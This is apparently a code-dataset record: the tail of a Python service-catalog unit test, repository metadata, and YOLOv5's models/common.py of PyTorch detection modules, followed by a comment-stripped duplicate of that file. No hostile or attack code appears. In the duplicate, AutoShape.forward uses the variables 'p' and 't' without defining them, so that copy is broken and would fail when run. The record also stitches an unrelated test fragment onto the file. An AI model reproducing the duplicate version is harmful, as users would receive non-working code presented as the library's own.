sc.url_for('tenantId', '2', service_type='volume')) self.assertEqual("https://volume1.host/v2/3456", sc.url_for('tenantId', '2', service_type='volumev2')) self.assertEqual("https://volume1.host/v2/3456", sc.url_for('tenantId', '2', service_type='volumev2')) self.assertRaises(exceptions.EndpointNotFound, sc.url_for, "region", "North", service_type='volume') def test_compatibility_service_type(self): sc = service_catalog.ServiceCatalog(SERVICE_COMPATIBILITY_CATALOG) self.assertEqual("https://volume1.host/v2/1234", sc.url_for('tenantId', '1', service_type='volume')) self.assertEqual("https://volume1.host/v2/3456", sc.url_for('tenantId', '2', service_type='volume'))

true

f7f35c0f9f5c83ed0f21567989d81c857dbbd58f

20,090

py

Python

models/common.py

KidChou/yolov5_prune

126054962197a51c79140384c591b9190d146019

[ "Apache-2.0" ]

190

2021-08-23T14:44:16.000Z

2022-03-30T10:29:11.000Z

models/common.py

KidChou/yolov5_prune

126054962197a51c79140384c591b9190d146019

[ "Apache-2.0" ]

9

2021-08-25T02:54:23.000Z

2022-02-24T02:31:38.000Z

models/common.py

KidChou/yolov5_prune

126054962197a51c79140384c591b9190d146019

[ "Apache-2.0" ]

56

2021-08-23T15:42:23.000Z

2022-03-29T02:26:05.000Z

# YOLOv5 🚀 by Ultralytics, GPL-3.0 license """ Common modules """ import logging import math import warnings from copy import copy from pathlib import Path import numpy as np import pandas as pd import requests import torch import torch.nn as nn from PIL import Image from torch.cuda import amp from utils.datasets import exif_transpose, letterbox from utils.general import colorstr, increment_path, make_divisible, non_max_suppression, save_one_box, \ scale_coords, xyxy2xywh from utils.plots import Annotator, colors from utils.torch_utils import time_sync LOGGER = logging.getLogger(__name__) def autopad(k, p=None): # kernel, padding # Pad to 'same' if p is None: p = k // 2 if isinstance(k, int) else [x // 2 for x in k] # auto-pad return p class Conv(nn.Module): # Standard convolution def __init__(self, c1, c2, k=1, s=1, p=None, g=1, act=True): # ch_in, ch_out, kernel, stride, padding, groups super().__init__() self.conv = nn.Conv2d(c1, c2, k, s, autopad(k, p), groups=g, bias=False) self.bn = nn.BatchNorm2d(c2) self.act = nn.SiLU() if act is True else (act if isinstance(act, nn.Module) else nn.Identity()) def forward(self, x): return self.act(self.bn(self.conv(x))) def forward_fuse(self, x): return self.act(self.conv(x)) class DWConv(Conv): # Depth-wise convolution class def __init__(self, c1, c2, k=1, s=1, act=True): # ch_in, ch_out, kernel, stride, padding, groups super().__init__(c1, c2, k, s, g=math.gcd(c1, c2), act=act) class TransformerLayer(nn.Module): # Transformer layer https://arxiv.org/abs/2010.11929 (LayerNorm layers removed for better performance) def __init__(self, c, num_heads): super().__init__() self.q = nn.Linear(c, c, bias=False) self.k = nn.Linear(c, c, bias=False) self.v = nn.Linear(c, c, bias=False) self.ma = nn.MultiheadAttention(embed_dim=c, num_heads=num_heads) self.fc1 = nn.Linear(c, c, bias=False) self.fc2 = nn.Linear(c, c, bias=False) def forward(self, x): x = self.ma(self.q(x), self.k(x), self.v(x))[0] + x x = self.fc2(self.fc1(x)) + x return x class TransformerBlock(nn.Module): # Vision Transformer https://arxiv.org/abs/2010.11929 def __init__(self, c1, c2, num_heads, num_layers): super().__init__() self.conv = None if c1 != c2: self.conv = Conv(c1, c2) self.linear = nn.Linear(c2, c2) # learnable position embedding self.tr = nn.Sequential(*[TransformerLayer(c2, num_heads) for _ in range(num_layers)]) self.c2 = c2 def forward(self, x): if self.conv is not None: x = self.conv(x) b, _, w, h = x.shape p = x.flatten(2).unsqueeze(0).transpose(0, 3).squeeze(3) return self.tr(p + self.linear(p)).unsqueeze(3).transpose(0, 3).reshape(b, self.c2, w, h) class Bottleneck(nn.Module): # Standard bottleneck def __init__(self, c1, c2, shortcut=True, g=1, e=0.5): # ch_in, ch_out, shortcut, groups, expansion super().__init__() c_ = int(c2 * e) # hidden channels self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c_, c2, 3, 1, g=g) self.add = shortcut and c1 == c2 def forward(self, x): return x + self.cv2(self.cv1(x)) if self.add else self.cv2(self.cv1(x)) class BottleneckCSP(nn.Module): # CSP Bottleneck https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__() c_ = int(c2 * e) # hidden channels self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = nn.Conv2d(c1, c_, 1, 1, bias=False) self.cv3 = nn.Conv2d(c_, c_, 1, 1, bias=False) self.cv4 = Conv(2 * c_, c2, 1, 1) self.bn = nn.BatchNorm2d(2 * c_) # applied to cat(cv2, cv3) self.act = nn.LeakyReLU(0.1, inplace=True) self.m = nn.Sequential(*[Bottleneck(c_, c_, shortcut, g, e=1.0) for _ in range(n)]) def forward(self, x): y1 = self.cv3(self.m(self.cv1(x))) y2 = self.cv2(x) return self.cv4(self.act(self.bn(torch.cat((y1, y2), dim=1)))) class C3(nn.Module): # CSP Bottleneck with 3 convolutions def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__() c_ = int(c2 * e) # hidden channels self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c1, c_, 1, 1) self.cv3 = Conv(2 * c_, c2, 1) # act=FReLU(c2) self.m = nn.Sequential(*[Bottleneck(c_, c_, shortcut, g, e=1.0) for _ in range(n)]) # self.m = nn.Sequential(*[CrossConv(c_, c_, 3, 1, g, 1.0, shortcut) for _ in range(n)]) def forward(self, x): return self.cv3(torch.cat((self.m(self.cv1(x)), self.cv2(x)), dim=1)) class C3TR(C3): # C3 module with TransformerBlock() def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) self.m = TransformerBlock(c_, c_, 4, n) class C3SPP(C3): # C3 module with SPP() def __init__(self, c1, c2, k=(5, 9, 13), n=1, shortcut=True, g=1, e=0.5): super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) self.m = SPP(c_, c_, k) class C3Ghost(C3): # C3 module with GhostBottleneck() def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) # hidden channels self.m = nn.Sequential(*[GhostBottleneck(c_, c_) for _ in range(n)]) class SPP(nn.Module): # Spatial Pyramid Pooling (SPP) layer https://arxiv.org/abs/1406.4729 def __init__(self, c1, c2, k=(5, 9, 13)): super().__init__() c_ = c1 // 2 # hidden channels self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c_ * (len(k) + 1), c2, 1, 1) self.m = nn.ModuleList([nn.MaxPool2d(kernel_size=x, stride=1, padding=x // 2) for x in k]) def forward(self, x): x = self.cv1(x) with warnings.catch_warnings(): warnings.simplefilter('ignore') # suppress torch 1.9.0 max_pool2d() warning return self.cv2(torch.cat([x] + [m(x) for m in self.m], 1)) class SPPF(nn.Module): # Spatial Pyramid Pooling - Fast (SPPF) layer for YOLOv5 by Glenn Jocher def __init__(self, c1, c2, k=5): # equivalent to SPP(k=(5, 9, 13)) super().__init__() c_ = c1 // 2 # hidden channels self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c_ * 4, c2, 1, 1) self.m = nn.MaxPool2d(kernel_size=k, stride=1, padding=k // 2) def forward(self, x): x = self.cv1(x) with warnings.catch_warnings(): warnings.simplefilter('ignore') # suppress torch 1.9.0 max_pool2d() warning y1 = self.m(x) y2 = self.m(y1) return self.cv2(torch.cat([x, y1, y2, self.m(y2)], 1)) class Focus(nn.Module): # Focus wh information into c-space def __init__(self, c1, c2, k=1, s=1, p=None, g=1, act=True): # ch_in, ch_out, kernel, stride, padding, groups super().__init__() self.conv = Conv(c1 * 4, c2, k, s, p, g, act) # self.contract = Contract(gain=2) def forward(self, x): # x(b,c,w,h) -> y(b,4c,w/2,h/2) return self.conv(torch.cat([x[..., ::2, ::2], x[..., 1::2, ::2], x[..., ::2, 1::2], x[..., 1::2, 1::2]], 1)) # return self.conv(self.contract(x)) class GhostConv(nn.Module): # Ghost Convolution https://github.com/huawei-noah/ghostnet def __init__(self, c1, c2, k=1, s=1, g=1, act=True): # ch_in, ch_out, kernel, stride, groups super().__init__() c_ = c2 // 2 # hidden channels self.cv1 = Conv(c1, c_, k, s, None, g, act) self.cv2 = Conv(c_, c_, 5, 1, None, c_, act) def forward(self, x): y = self.cv1(x) return torch.cat([y, self.cv2(y)], 1) class GhostBottleneck(nn.Module): # Ghost Bottleneck https://github.com/huawei-noah/ghostnet def __init__(self, c1, c2, k=3, s=1): # ch_in, ch_out, kernel, stride super().__init__() c_ = c2 // 2 self.conv = nn.Sequential(GhostConv(c1, c_, 1, 1), # pw DWConv(c_, c_, k, s, act=False) if s == 2 else nn.Identity(), # dw GhostConv(c_, c2, 1, 1, act=False)) # pw-linear self.shortcut = nn.Sequential(DWConv(c1, c1, k, s, act=False), Conv(c1, c2, 1, 1, act=False)) if s == 2 else nn.Identity() def forward(self, x): return self.conv(x) + self.shortcut(x) class Contract(nn.Module): # Contract width-height into channels, i.e. x(1,64,80,80) to x(1,256,40,40) def __init__(self, gain=2): super().__init__() self.gain = gain def forward(self, x): b, c, h, w = x.size() # assert (h / s == 0) and (W / s == 0), 'Indivisible gain' s = self.gain x = x.view(b, c, h // s, s, w // s, s) # x(1,64,40,2,40,2) x = x.permute(0, 3, 5, 1, 2, 4).contiguous() # x(1,2,2,64,40,40) return x.view(b, c * s * s, h // s, w // s) # x(1,256,40,40) class Expand(nn.Module): # Expand channels into width-height, i.e. x(1,64,80,80) to x(1,16,160,160) def __init__(self, gain=2): super().__init__() self.gain = gain def forward(self, x): b, c, h, w = x.size() # assert C / s ** 2 == 0, 'Indivisible gain' s = self.gain x = x.view(b, s, s, c // s ** 2, h, w) # x(1,2,2,16,80,80) x = x.permute(0, 3, 4, 1, 5, 2).contiguous() # x(1,16,80,2,80,2) return x.view(b, c // s ** 2, h * s, w * s) # x(1,16,160,160) class Concat(nn.Module): # Concatenate a list of tensors along dimension def __init__(self, dimension=1): super().__init__() self.d = dimension def forward(self, x): return torch.cat(x, self.d) class AutoShape(nn.Module): # YOLOv5 input-robust model wrapper for passing cv2/np/PIL/torch inputs. Includes preprocessing, inference and NMS conf = 0.25 # NMS confidence threshold iou = 0.45 # NMS IoU threshold classes = None # (optional list) filter by class multi_label = False # NMS multiple labels per box max_det = 1000 # maximum number of detections per image def __init__(self, model): super().__init__() self.model = model.eval() def autoshape(self): LOGGER.info('AutoShape already enabled, skipping... ') # model already converted to model.autoshape() return self def _apply(self, fn): # Apply to(), cpu(), cuda(), half() to model tensors that are not parameters or registered buffers self = super()._apply(fn) m = self.model.model[-1] # Detect() m.stride = fn(m.stride) m.grid = list(map(fn, m.grid)) if isinstance(m.anchor_grid, list): m.anchor_grid = list(map(fn, m.anchor_grid)) return self @torch.no_grad() def forward(self, imgs, size=640, augment=False, profile=False): # Inference from various sources. For height=640, width=1280, RGB images example inputs are: # file: imgs = 'data/images/zidane.jpg' # str or PosixPath # URI: = 'https://ultralytics.com/images/zidane.jpg' # OpenCV: = cv2.imread('image.jpg')[:,:,::-1] # HWC BGR to RGB x(640,1280,3) # PIL: = Image.open('image.jpg') or ImageGrab.grab() # HWC x(640,1280,3) # numpy: = np.zeros((640,1280,3)) # HWC # torch: = torch.zeros(16,3,320,640) # BCHW (scaled to size=640, 0-1 values) # multiple: = [Image.open('image1.jpg'), Image.open('image2.jpg'), ...] # list of images t = [time_sync()] p = next(self.model.parameters()) # for device and type if isinstance(imgs, torch.Tensor): # torch with amp.autocast(enabled=p.device.type != 'cpu'): return self.model(imgs.to(p.device).type_as(p), augment, profile) # inference # Pre-process n, imgs = (len(imgs), imgs) if isinstance(imgs, list) else (1, [imgs]) # number of images, list of images shape0, shape1, files = [], [], [] # image and inference shapes, filenames for i, im in enumerate(imgs): f = f'image{i}' # filename if isinstance(im, (str, Path)): # filename or uri im, f = Image.open(requests.get(im, stream=True).raw if str(im).startswith('http') else im), im im = np.asarray(exif_transpose(im)) elif isinstance(im, Image.Image): # PIL Image im, f = np.asarray(exif_transpose(im)), getattr(im, 'filename', f) or f files.append(Path(f).with_suffix('.jpg').name) if im.shape[0] < 5: # image in CHW im = im.transpose((1, 2, 0)) # reverse dataloader .transpose(2, 0, 1) im = im[..., :3] if im.ndim == 3 else np.tile(im[..., None], 3) # enforce 3ch input s = im.shape[:2] # HWC shape0.append(s) # image shape g = (size / max(s)) # gain shape1.append([y * g for y in s]) imgs[i] = im if im.data.contiguous else np.ascontiguousarray(im) # update shape1 = [make_divisible(x, int(self.stride.max())) for x in np.stack(shape1, 0).max(0)] # inference shape x = [letterbox(im, new_shape=shape1, auto=False)[0] for im in imgs] # pad x = np.stack(x, 0) if n > 1 else x[0][None] # stack x = np.ascontiguousarray(x.transpose((0, 3, 1, 2))) # BHWC to BCHW x = torch.from_numpy(x).to(p.device).type_as(p) / 255. # uint8 to fp16/32 t.append(time_sync()) with amp.autocast(enabled=p.device.type != 'cpu'): # Inference y = self.model(x, augment, profile)[0] # forward t.append(time_sync()) # Post-process y = non_max_suppression(y, self.conf, iou_thres=self.iou, classes=self.classes, multi_label=self.multi_label, max_det=self.max_det) # NMS for i in range(n): scale_coords(shape1, y[i][:, :4], shape0[i]) t.append(time_sync()) return Detections(imgs, y, files, t, self.names, x.shape) class Detections: # YOLOv5 detections class for inference results def __init__(self, imgs, pred, files, times=None, names=None, shape=None): super().__init__() d = pred[0].device # device gn = [torch.tensor([*[im.shape[i] for i in [1, 0, 1, 0]], 1., 1.], device=d) for im in imgs] # normalizations self.imgs = imgs # list of images as numpy arrays self.pred = pred # list of tensors pred[0] = (xyxy, conf, cls) self.names = names # class names self.files = files # image filenames self.xyxy = pred # xyxy pixels self.xywh = [xyxy2xywh(x) for x in pred] # xywh pixels self.xyxyn = [x / g for x, g in zip(self.xyxy, gn)] # xyxy normalized self.xywhn = [x / g for x, g in zip(self.xywh, gn)] # xywh normalized self.n = len(self.pred) # number of images (batch size) self.t = tuple((times[i + 1] - times[i]) * 1000 / self.n for i in range(3)) # timestamps (ms) self.s = shape # inference BCHW shape def display(self, pprint=False, show=False, save=False, crop=False, render=False, save_dir=Path('')): crops = [] for i, (im, pred) in enumerate(zip(self.imgs, self.pred)): s = f'image {i + 1}/{len(self.pred)}: {im.shape[0]}x{im.shape[1]} ' # string if pred.shape[0]: for c in pred[:, -1].unique(): n = (pred[:, -1] == c).sum() # detections per class s += f"{n} {self.names[int(c)]}{'s' * (n > 1)}, " # add to string if show or save or render or crop: annotator = Annotator(im, example=str(self.names)) for *box, conf, cls in reversed(pred): # xyxy, confidence, class label = f'{self.names[int(cls)]} {conf:.2f}' if crop: file = save_dir / 'crops' / self.names[int(cls)] / self.files[i] if save else None crops.append({'box': box, 'conf': conf, 'cls': cls, 'label': label, 'im': save_one_box(box, im, file=file, save=save)}) else: # all others annotator.box_label(box, label, color=colors(cls)) im = annotator.im else: s += '(no detections)' im = Image.fromarray(im.astype(np.uint8)) if isinstance(im, np.ndarray) else im # from np if pprint: LOGGER.info(s.rstrip(', ')) if show: im.show(self.files[i]) # show if save: f = self.files[i] im.save(save_dir / f) # save if i == self.n - 1: LOGGER.info(f"Saved {self.n} image{'s' * (self.n > 1)} to {colorstr('bold', save_dir)}") if render: self.imgs[i] = np.asarray(im) if crop: if save: LOGGER.info(f'Saved results to {save_dir}\n') return crops def print(self): self.display(pprint=True) # print results LOGGER.info(f'Speed: %.1fms pre-process, %.1fms inference, %.1fms NMS per image at shape {tuple(self.s)}' % self.t) def show(self): self.display(show=True) # show results def save(self, save_dir='runs/detect/exp'): save_dir = increment_path(save_dir, exist_ok=save_dir != 'runs/detect/exp', mkdir=True) # increment save_dir self.display(save=True, save_dir=save_dir) # save results def crop(self, save=True, save_dir='runs/detect/exp'): save_dir = increment_path(save_dir, exist_ok=save_dir != 'runs/detect/exp', mkdir=True) if save else None return self.display(crop=True, save=save, save_dir=save_dir) # crop results def render(self): self.display(render=True) # render results return self.imgs def pandas(self): # return detections as pandas DataFrames, i.e. print(results.pandas().xyxy[0]) new = copy(self) # return copy ca = 'xmin', 'ymin', 'xmax', 'ymax', 'confidence', 'class', 'name' # xyxy columns cb = 'xcenter', 'ycenter', 'width', 'height', 'confidence', 'class', 'name' # xywh columns for k, c in zip(['xyxy', 'xyxyn', 'xywh', 'xywhn'], [ca, ca, cb, cb]): a = [[x[:5] + [int(x[5]), self.names[int(x[5])]] for x in x.tolist()] for x in getattr(self, k)] # update setattr(new, k, [pd.DataFrame(x, columns=c) for x in a]) return new def tolist(self): # return a list of Detections objects, i.e. 'for result in results.tolist():' x = [Detections([self.imgs[i]], [self.pred[i]], self.names, self.s) for i in range(self.n)] for d in x: for k in ['imgs', 'pred', 'xyxy', 'xyxyn', 'xywh', 'xywhn']: setattr(d, k, getattr(d, k)[0]) # pop out of list return x def __len__(self): return self.n class Classify(nn.Module): # Classification head, i.e. x(b,c1,20,20) to x(b,c2) def __init__(self, c1, c2, k=1, s=1, p=None, g=1): # ch_in, ch_out, kernel, stride, padding, groups super().__init__() self.aap = nn.AdaptiveAvgPool2d(1) # to x(b,c1,1,1) self.conv = nn.Conv2d(c1, c2, k, s, autopad(k, p), groups=g) # to x(b,c2,1,1) self.flat = nn.Flatten() def forward(self, x): z = torch.cat([self.aap(y) for y in (x if isinstance(x, list) else [x])], 1) # cat if list return self.flat(self.conv(z)) # flatten to x(b,c2)

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import logging import math import warnings from copy import copy from pathlib import Path import numpy as np import pandas as pd import requests import torch import torch.nn as nn from PIL import Image from torch.cuda import amp from utils.datasets import exif_transpose, letterbox from utils.general import colorstr, increment_path, make_divisible, non_max_suppression, save_one_box, \ scale_coords, xyxy2xywh from utils.plots import Annotator, colors from utils.torch_utils import time_sync LOGGER = logging.getLogger(__name__) def autopad(k, p=None): if p is None: p = k // 2 if isinstance(k, int) else [x // 2 for x in k] return p class Conv(nn.Module): def __init__(self, c1, c2, k=1, s=1, p=None, g=1, act=True): super().__init__() self.conv = nn.Conv2d(c1, c2, k, s, autopad(k, p), groups=g, bias=False) self.bn = nn.BatchNorm2d(c2) self.act = nn.SiLU() if act is True else (act if isinstance(act, nn.Module) else nn.Identity()) def forward(self, x): return self.act(self.bn(self.conv(x))) def forward_fuse(self, x): return self.act(self.conv(x)) class DWConv(Conv): def __init__(self, c1, c2, k=1, s=1, act=True): super().__init__(c1, c2, k, s, g=math.gcd(c1, c2), act=act) class TransformerLayer(nn.Module): def __init__(self, c, num_heads): super().__init__() self.q = nn.Linear(c, c, bias=False) self.k = nn.Linear(c, c, bias=False) self.v = nn.Linear(c, c, bias=False) self.ma = nn.MultiheadAttention(embed_dim=c, num_heads=num_heads) self.fc1 = nn.Linear(c, c, bias=False) self.fc2 = nn.Linear(c, c, bias=False) def forward(self, x): x = self.ma(self.q(x), self.k(x), self.v(x))[0] + x x = self.fc2(self.fc1(x)) + x return x class TransformerBlock(nn.Module): def __init__(self, c1, c2, num_heads, num_layers): super().__init__() self.conv = None if c1 != c2: self.conv = Conv(c1, c2) self.linear = nn.Linear(c2, c2) self.tr = nn.Sequential(*[TransformerLayer(c2, num_heads) for _ in range(num_layers)]) self.c2 = c2 def forward(self, x): if self.conv is not None: x = self.conv(x) b, _, w, h = x.shape p = x.flatten(2).unsqueeze(0).transpose(0, 3).squeeze(3) return self.tr(p + self.linear(p)).unsqueeze(3).transpose(0, 3).reshape(b, self.c2, w, h) class Bottleneck(nn.Module): def __init__(self, c1, c2, shortcut=True, g=1, e=0.5): super().__init__() c_ = int(c2 * e) self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c_, c2, 3, 1, g=g) self.add = shortcut and c1 == c2 def forward(self, x): return x + self.cv2(self.cv1(x)) if self.add else self.cv2(self.cv1(x)) class BottleneckCSP(nn.Module): def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): super().__init__() c_ = int(c2 * e) self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = nn.Conv2d(c1, c_, 1, 1, bias=False) self.cv3 = nn.Conv2d(c_, c_, 1, 1, bias=False) self.cv4 = Conv(2 * c_, c2, 1, 1) self.bn = nn.BatchNorm2d(2 * c_) self.act = nn.LeakyReLU(0.1, inplace=True) self.m = nn.Sequential(*[Bottleneck(c_, c_, shortcut, g, e=1.0) for _ in range(n)]) def forward(self, x): y1 = self.cv3(self.m(self.cv1(x))) y2 = self.cv2(x) return self.cv4(self.act(self.bn(torch.cat((y1, y2), dim=1)))) class C3(nn.Module): def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): super().__init__() c_ = int(c2 * e) self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c1, c_, 1, 1) self.cv3 = Conv(2 * c_, c2, 1) self.m = nn.Sequential(*[Bottleneck(c_, c_, shortcut, g, e=1.0) for _ in range(n)]) def forward(self, x): return self.cv3(torch.cat((self.m(self.cv1(x)), self.cv2(x)), dim=1)) class C3TR(C3): def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) self.m = TransformerBlock(c_, c_, 4, n) class C3SPP(C3): def __init__(self, c1, c2, k=(5, 9, 13), n=1, shortcut=True, g=1, e=0.5): super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) self.m = SPP(c_, c_, k) class C3Ghost(C3): def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) self.m = nn.Sequential(*[GhostBottleneck(c_, c_) for _ in range(n)]) class SPP(nn.Module): def __init__(self, c1, c2, k=(5, 9, 13)): super().__init__() c_ = c1 // 2 self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c_ * (len(k) + 1), c2, 1, 1) self.m = nn.ModuleList([nn.MaxPool2d(kernel_size=x, stride=1, padding=x // 2) for x in k]) def forward(self, x): x = self.cv1(x) with warnings.catch_warnings(): warnings.simplefilter('ignore') return self.cv2(torch.cat([x] + [m(x) for m in self.m], 1)) class SPPF(nn.Module): def __init__(self, c1, c2, k=5): super().__init__() c_ = c1 // 2 self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c_ * 4, c2, 1, 1) self.m = nn.MaxPool2d(kernel_size=k, stride=1, padding=k // 2) def forward(self, x): x = self.cv1(x) with warnings.catch_warnings(): warnings.simplefilter('ignore') y1 = self.m(x) y2 = self.m(y1) return self.cv2(torch.cat([x, y1, y2, self.m(y2)], 1)) class Focus(nn.Module): def __init__(self, c1, c2, k=1, s=1, p=None, g=1, act=True): super().__init__() self.conv = Conv(c1 * 4, c2, k, s, p, g, act) def forward(self, x): return self.conv(torch.cat([x[..., ::2, ::2], x[..., 1::2, ::2], x[..., ::2, 1::2], x[..., 1::2, 1::2]], 1)) class GhostConv(nn.Module): def __init__(self, c1, c2, k=1, s=1, g=1, act=True): super().__init__() c_ = c2 // 2 self.cv1 = Conv(c1, c_, k, s, None, g, act) self.cv2 = Conv(c_, c_, 5, 1, None, c_, act) def forward(self, x): y = self.cv1(x) return torch.cat([y, self.cv2(y)], 1) class GhostBottleneck(nn.Module): def __init__(self, c1, c2, k=3, s=1): super().__init__() c_ = c2 // 2 self.conv = nn.Sequential(GhostConv(c1, c_, 1, 1), DWConv(c_, c_, k, s, act=False) if s == 2 else nn.Identity(), GhostConv(c_, c2, 1, 1, act=False)) self.shortcut = nn.Sequential(DWConv(c1, c1, k, s, act=False), Conv(c1, c2, 1, 1, act=False)) if s == 2 else nn.Identity() def forward(self, x): return self.conv(x) + self.shortcut(x) class Contract(nn.Module): def __init__(self, gain=2): super().__init__() self.gain = gain def forward(self, x): b, c, h, w = x.size() s = self.gain x = x.view(b, c, h // s, s, w // s, s) x = x.permute(0, 3, 5, 1, 2, 4).contiguous() return x.view(b, c * s * s, h // s, w // s) class Expand(nn.Module): def __init__(self, gain=2): super().__init__() self.gain = gain def forward(self, x): b, c, h, w = x.size() s = self.gain x = x.view(b, s, s, c // s ** 2, h, w) x = x.permute(0, 3, 4, 1, 5, 2).contiguous() return x.view(b, c // s ** 2, h * s, w * s) class Concat(nn.Module): def __init__(self, dimension=1): super().__init__() self.d = dimension def forward(self, x): return torch.cat(x, self.d) class AutoShape(nn.Module): conf = 0.25 iou = 0.45 classes = None multi_label = False max_det = 1000 def __init__(self, model): super().__init__() self.model = model.eval() def autoshape(self): LOGGER.info('AutoShape already enabled, skipping... ') return self def _apply(self, fn): self = super()._apply(fn) m = self.model.model[-1] m.stride = fn(m.stride) m.grid = list(map(fn, m.grid)) if isinstance(m.anchor_grid, list): m.anchor_grid = list(map(fn, m.anchor_grid)) return self @torch.no_grad() def forward(self, imgs, size=640, augment=False, profile=False): if isinstance(imgs, torch.Tensor): with amp.autocast(enabled=p.device.type != 'cpu'): return self.model(imgs.to(p.device).type_as(p), augment, profile) n, imgs = (len(imgs), imgs) if isinstance(imgs, list) else (1, [imgs]) shape0, shape1, files = [], [], [] for i, im in enumerate(imgs): f = f'image{i}' if isinstance(im, (str, Path)): im, f = Image.open(requests.get(im, stream=True).raw if str(im).startswith('http') else im), im im = np.asarray(exif_transpose(im)) elif isinstance(im, Image.Image): im, f = np.asarray(exif_transpose(im)), getattr(im, 'filename', f) or f files.append(Path(f).with_suffix('.jpg').name) if im.shape[0] < 5: im = im.transpose((1, 2, 0)) im = im[..., :3] if im.ndim == 3 else np.tile(im[..., None], 3) s = im.shape[:2] shape0.append(s) g = (size / max(s)) shape1.append([y * g for y in s]) imgs[i] = im if im.data.contiguous else np.ascontiguousarray(im) shape1 = [make_divisible(x, int(self.stride.max())) for x in np.stack(shape1, 0).max(0)] x = [letterbox(im, new_shape=shape1, auto=False)[0] for im in imgs] x = np.stack(x, 0) if n > 1 else x[0][None] x = np.ascontiguousarray(x.transpose((0, 3, 1, 2))) x = torch.from_numpy(x).to(p.device).type_as(p) / 255. t.append(time_sync()) with amp.autocast(enabled=p.device.type != 'cpu'): y = self.model(x, augment, profile)[0] t.append(time_sync()) y = non_max_suppression(y, self.conf, iou_thres=self.iou, classes=self.classes, multi_label=self.multi_label, max_det=self.max_det) for i in range(n): scale_coords(shape1, y[i][:, :4], shape0[i]) t.append(time_sync()) return Detections(imgs, y, files, t, self.names, x.shape) class Detections: def __init__(self, imgs, pred, files, times=None, names=None, shape=None): super().__init__() d = pred[0].device gn = [torch.tensor([*[im.shape[i] for i in [1, 0, 1, 0]], 1., 1.], device=d) for im in imgs] self.imgs = imgs self.pred = pred self.names = names self.files = files self.xyxy = pred self.xywh = [xyxy2xywh(x) for x in pred] self.xyxyn = [x / g for x, g in zip(self.xyxy, gn)] self.xywhn = [x / g for x, g in zip(self.xywh, gn)] self.n = len(self.pred) self.t = tuple((times[i + 1] - times[i]) * 1000 / self.n for i in range(3)) self.s = shape def display(self, pprint=False, show=False, save=False, crop=False, render=False, save_dir=Path('')): crops = [] for i, (im, pred) in enumerate(zip(self.imgs, self.pred)): s = f'image {i + 1}/{len(self.pred)}: {im.shape[0]}x{im.shape[1]} ' if pred.shape[0]: for c in pred[:, -1].unique(): n = (pred[:, -1] == c).sum() s += f"{n} {self.names[int(c)]}{'s' * (n > 1)}, " if show or save or render or crop: annotator = Annotator(im, example=str(self.names)) for *box, conf, cls in reversed(pred): label = f'{self.names[int(cls)]} {conf:.2f}' if crop: file = save_dir / 'crops' / self.names[int(cls)] / self.files[i] if save else None crops.append({'box': box, 'conf': conf, 'cls': cls, 'label': label, 'im': save_one_box(box, im, file=file, save=save)}) else: annotator.box_label(box, label, color=colors(cls)) im = annotator.im else: s += '(no detections)' im = Image.fromarray(im.astype(np.uint8)) if isinstance(im, np.ndarray) else im if pprint: LOGGER.info(s.rstrip(', ')) if show: im.show(self.files[i]) if save: f = self.files[i] im.save(save_dir / f) if i == self.n - 1: LOGGER.info(f"Saved {self.n} image{'s' * (self.n > 1)} to {colorstr('bold', save_dir)}") if render: self.imgs[i] = np.asarray(im) if crop: if save: LOGGER.info(f'Saved results to {save_dir}\n') return crops def print(self): self.display(pprint=True) LOGGER.info(f'Speed: %.1fms pre-process, %.1fms inference, %.1fms NMS per image at shape {tuple(self.s)}' % self.t) def show(self): self.display(show=True) def save(self, save_dir='runs/detect/exp'): save_dir = increment_path(save_dir, exist_ok=save_dir != 'runs/detect/exp', mkdir=True) self.display(save=True, save_dir=save_dir) def crop(self, save=True, save_dir='runs/detect/exp'): save_dir = increment_path(save_dir, exist_ok=save_dir != 'runs/detect/exp', mkdir=True) if save else None return self.display(crop=True, save=save, save_dir=save_dir) def render(self): self.display(render=True) return self.imgs def pandas(self): new = copy(self) ca = 'xmin', 'ymin', 'xmax', 'ymax', 'confidence', 'class', 'name' cb = 'xcenter', 'ycenter', 'width', 'height', 'confidence', 'class', 'name' for k, c in zip(['xyxy', 'xyxyn', 'xywh', 'xywhn'], [ca, ca, cb, cb]): a = [[x[:5] + [int(x[5]), self.names[int(x[5])]] for x in x.tolist()] for x in getattr(self, k)] setattr(new, k, [pd.DataFrame(x, columns=c) for x in a]) return new def tolist(self): x = [Detections([self.imgs[i]], [self.pred[i]], self.names, self.s) for i in range(self.n)] for d in x: for k in ['imgs', 'pred', 'xyxy', 'xyxyn', 'xywh', 'xywhn']: setattr(d, k, getattr(d, k)[0]) return x def __len__(self): return self.n class Classify(nn.Module): def __init__(self, c1, c2, k=1, s=1, p=None, g=1): super().__init__() self.aap = nn.AdaptiveAvgPool2d(1) self.conv = nn.Conv2d(c1, c2, k, s, autopad(k, p), groups=g) self.flat = nn.Flatten() def forward(self, x): z = torch.cat([self.aap(y) for y in (x if isinstance(x, list) else [x])], 1) return self.flat(self.conv(z))

